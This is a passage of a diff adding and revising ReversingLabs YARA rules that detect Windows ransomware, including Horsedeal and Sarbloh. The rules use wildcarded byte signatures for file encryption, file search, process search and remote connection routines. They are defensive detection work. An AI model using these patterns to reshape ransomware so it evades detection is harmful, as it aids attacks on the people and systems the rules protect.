+            ?? BE ?? ?? ?? ?? EB ?? 81 FE ?? ?? ?? ?? 74 ?? 85 F6 0F 94 45 ?? 80 7D ?? ?? 75 ??
+            8B 03 E8 ?? ?? ?? ?? 33 C0 89 03 33 C0 89 07 8B 45 ?? 50 E8 ?? ?? ?? ?? 8A 45 ?? 5F
+            5E 5B 8B E5 5D C2
+        }
+		$remote_connection_p1 = {
+            BB ?? ?? ?? ?? 83 FB ?? 75 ?? 33 C0 89 45 ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 8B
+            C6 E8 ?? ?? ?? ?? 8B C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 33 C0 89 45 ?? 8D 45 ??
+            50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 83 C0
+            ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ?? 8B 45 ?? 59 E8 ?? ?? ??
+            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ??
+            ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D 85 ?? ?? ?? ?? 8B 55 ??
+            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B D0 42 8B 45 ?? 59 E8
+            ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 FF 0F
+            85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45
+            ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89
+            45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D
+            ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A
+        }
+		$remote_connection_p2 = {
+            68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74
+            ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50 8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A
+            58 76 ?? EB ?? 5A 58 7E ?? 8B 06 E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ??
+            ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03 C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D
+            ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ??
+            8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A
+            ?? 8B 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ??
+            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ??
+            ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B
+            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8B 06 E8 ?? ?? ?? ?? 99 52 50
+            8B 45 ?? 03 C7 33 D2 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 76 ?? EB ?? 5A 58 7E ?? 8B 06
+            E8 ?? ?? ?? ?? 8B D0 81 C2 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 03
+            C7 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 81 FF ?? ?? ?? ?? 77 ?? 83 7D
+            ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8
+        }
+		$encrypt_files = {
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
+            E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75
+            ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68
+            ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ??
+            8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
+            75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55
+            ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
+            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D
+            ?? ?? 74
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_resources) and ( all of ($find_files_p*)) and ($encrypt_files) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Horsedeal : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Horsedeal ransomware."
+		author = "ReversingLabs"
+		id = "c722bc5b-756e-5d46-8530-e20ebb73737c"
+		date = "2020-10-01"
+		modified = "2020-10-01"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Horsedeal.yara#L1-L106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fa8c425b08606399b5dc7673f3898e3dba7efb6a62e56db8f500cf5072bb590b"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Horsedeal"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_processes = {
+            55 8B EC 81 EC ?? ?? ?? ?? 56 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D
+            85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53
+            FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF B5 ?? ?? ??
+            ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5B 56 FF 15 ??
+            ?? ?? ?? 5E C9 C3
+        }
+		$enum_resources = {
+            55 8B EC 83 E4 ?? 83 EC ?? 83 0C 24 ?? 8D 44 24 ?? 53 56 57 50 FF 75 ?? C7 44 24 ??
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? E8 ?? ?? ??
+            ?? 8B F0 85 F6 74 ?? EB ?? 33 DB 39 5C 24 ?? 76 ?? 8D 7E ?? F6 47 ?? ?? 74 ?? 8D 47
+            ?? 50 E8 ?? ?? ?? ?? EB ?? FF 37 E8 ?? ?? ?? ?? 43 83 C7 ?? 59 3B 5C 24 ?? 72 ?? 8D
+            44 24 ?? 50 56 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B CE E8 ??
+            ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+        }
+		$find_files = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57
+            8B 7D ?? 74 ?? 68 ?? ?? ?? ?? 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ??
+            ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ??
+            ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83
+            C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D
+            44 24 ?? 50 FF D6 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 8B 44 24 ?? A8 ?? 74 ?? 68
+            ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ??
+            50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 8B CB E8 ?? ??
+            ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24
+            ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ??
+            ?? ?? 83 C4 ?? 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ??
+            ?? ?? 8B F0 89 74 24 ?? 83 FE ?? 74 ?? 57 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ??
+            ?? ?? FF D7 50 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 6A ?? 8D 44 24 ?? 50 FF 35
+            ?? ?? ?? ?? FF D7 8B 7C 24 ?? 50 FF 35 ?? ?? ?? ?? 57 FF D6 57 FF 15 ?? ?? ?? ?? 8B
+            CB E8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
         }
 		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89
-            45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 7D ?? 0F 57 C0 66 0F 13 45 ??
-            C7 45 ?? ?? ?? ?? ?? 8B C7 83 7F ?? ?? 72 ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
-            6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 75 ?? FF 15 ?? ??
-            ?? ?? 32 DB E9 ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74
-            ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8E ?? ?? ?? ?? 6A ?? 8D
-            41 ?? 50 6A ?? 8D 56 ?? 51 52 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 53 FF 15
-            ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 8D 45 ?? 8B CE
-            50 E8 ?? ?? ?? ?? EB ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 6A ?? EB ?? 6A ?? 8D
-            45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 75 ?? 8A D8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 83
-            CE ?? 89 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ??
-            83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 83 7F ?? ?? 72 ?? 8B 3F 50 57 FF 15 ?? ??
-            ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ??
-            72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
-            33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 FE ?? 74 ?? 56 FF 15
-            ?? ?? ?? ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? CC CC CC 55 8B EC 83 E4 ?? 81 EC
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57 FF 35 ?? ?? ?? ??
+            8B F9 89 7D ?? FF D6 FF 35 ?? ?? ?? ?? 8B D8 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF
+            D6 3B C3 0F 84 ?? ?? ?? ?? 6A ?? 59 33 DB 89 4D ?? 8B C3 88 9C 05 ?? ?? ?? ?? 40 3D
+            ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 51 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 89 45 ?? 8A 84 0D ?? ?? ?? ?? 88 44 0D ??
+            41 83 F9 ?? 72 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 58 50 53 6A ?? 68 ?? ?? ?? ??
+            57 89 45 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 57 FF D6
+            8D 0C 47 83 E9 ?? 66 83 39 ?? 75 ?? FF 35 ?? ?? ?? ?? 2B CF 83 C1 ?? D1 F9 8D 04 4F
+            50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF 35 ?? ?? ?? ?? FF D6 FF 75 ?? 8B F0 FF
+            15 ?? ?? ?? ?? 3B C6 75 ?? 33 F6 46 EB ?? 8B 75 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ??
+            8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 33 F6 46 85 F6 74 ?? 8B 35
+            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
         }
 		$encrypt_files_p2 = {
-            A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B 5D ?? 56 57 8B F9 89 5C 24 ?? 6A ??
-            8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 8B 17 8B 47 ?? 2B C2 50 52 FF 33 FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33
-            CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 44 24 ?? 8B 57 ?? 8B 0F 89 44 24 ?? 89 54 24
-            ?? 89 4C 24 ?? 85 C0 7E ?? 8B D8 8B 47 ?? 8B F3 2B 47 ?? 3B D8 52 0F 43 F0 8D 47 ??
-            56 51 50 E8 ?? ?? ?? ?? 56 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 2B DE
-            8B 54 24 ?? 03 CE 83 C4 ?? 89 4C 24 ?? 85 DB 7F ?? 8B 5C 24 ?? 6A ?? 6A ?? 0F 57 C0
-            66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 33 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ??
-            85 C0 75 ?? FF D6 89 43 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ??
-            89 44 24 ?? 8D 87 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 4C 24 ?? ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 89 43 ?? 6A ?? 8D 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF 37 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ??
-            FF D6 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
-            ?? ?? 8B 8C 24 ?? ?? ?? ?? B0 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
+            53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF
+            75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 81 7D ?? ?? ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? 6A ??
+            6A ?? 51 0F 57 C0 50 66 0F 13 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 2D ?? ?? ?? ?? 8B 35 ??
+            ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 DA ?? 89 45 ?? 8B 45 ?? 2D ?? ?? ?? ?? 89 55 ?? 89 45
+            ?? 8D 45 ?? 83 D9 ?? 89 45 ?? 89 4D ?? 6A ?? 6A ?? FF 70 ?? FF 30 53 FF D7 6A ?? 8D
+            45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D
+            55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A
+            ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8B
+            45 ?? 83 C0 ?? 83 6D ?? ?? 89 45 ?? 75 ?? 8B 7D ?? 0F 57 C0 6A ?? 6A ?? 66 0F 13 45
+            ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A
+            ?? 8D 45 ?? 50 53 FF D6 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF
+            D6 53 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ??
+            ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 57 FF 15 ?? ??
+            ?? ?? 8B CE E8 ?? ?? ?? ?? 5F 5E 5B C9 C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($enum_resources) and ($search_processes) and ($find_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Sarbloh : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Sarbloh ransomware."
+		author = "ReversingLabs"
+		id = "532abd77-f091-5c54-87a3-7e8be5253efd"
+		date = "2021-05-21"
+		modified = "2021-05-21"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sarbloh.yara#L1-L88"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7259aa9d1fe657db220ee50f1610e6439ff61673d92f46ebc3b8cadd990f002c"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Sarbloh"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 75 ?? 72 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ??
+            ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 75
+            ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? C1 E6 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 8D 85 ?? ?? ?? ??
+            6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B
+            8D ?? ?? ?? ?? 8B C1 8B 55 ?? 0B C2 89 4D ?? 89 55 ?? 0F 84 ?? ?? ?? ?? 0F 57 C0 66
+            0F 13 45 ?? 85 D2 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ??
+            8B 45 ?? 89 45 ?? EB ?? 8B 75 ?? 8B 7D ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ??
+            50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 89 4D ?? 89 45 ??
+            85 C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85
+            ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 6A ?? 6A ?? 56 8B 75 ??
+            8D 45 ?? 56 50 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 0F
+            85 ?? ?? ?? ?? 8B 75 ?? EB ?? 33 F6 8B 45 ?? 8B 4D ?? 89 75 ?? 89 4D ?? 89 45 ?? 85
+            C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ??
+            ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 FF 85 C0 0F 88 ?? ?? ?? ?? 85 F6 0F 84
+        }
+		$encrypt_files_p2 = {
+            8B 75 ?? 8D 45 ?? 56 50 53 52 6A ?? 52 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 53 8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 4D ??
+            81 C7 ?? ?? ?? ?? 3B 7D ?? 72 ?? 8B 75 ?? 03 75 ?? 8B 45 ?? 83 D0 ?? 89 75 ?? 89 45
+            ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B B5 ?? ?? ?? ?? 8B 75 ?? 0F 82 ?? ?? ?? ?? 8D
+            45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 6A ?? 1B DB 8D 45
+            ?? 23 5D ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ??
+            F7 D8 1B F6 23 75 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8
+            85 FF 0F 84 ?? ?? ?? ?? 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 57 8D 45 ?? 50 6A ?? 6A
+            ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 39 75 ?? 75 ??
+            8B 85 ?? ?? ?? ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 6A ?? 89 85 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 8D 45 ?? 89 9D ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 89 B5 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 33 C0 B9 ?? ?? ?? ?? 83
+            7D ?? ?? 0F 44 C1 89 45 ?? 89 7D ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 03 4D ?? 39 4D ?? 73
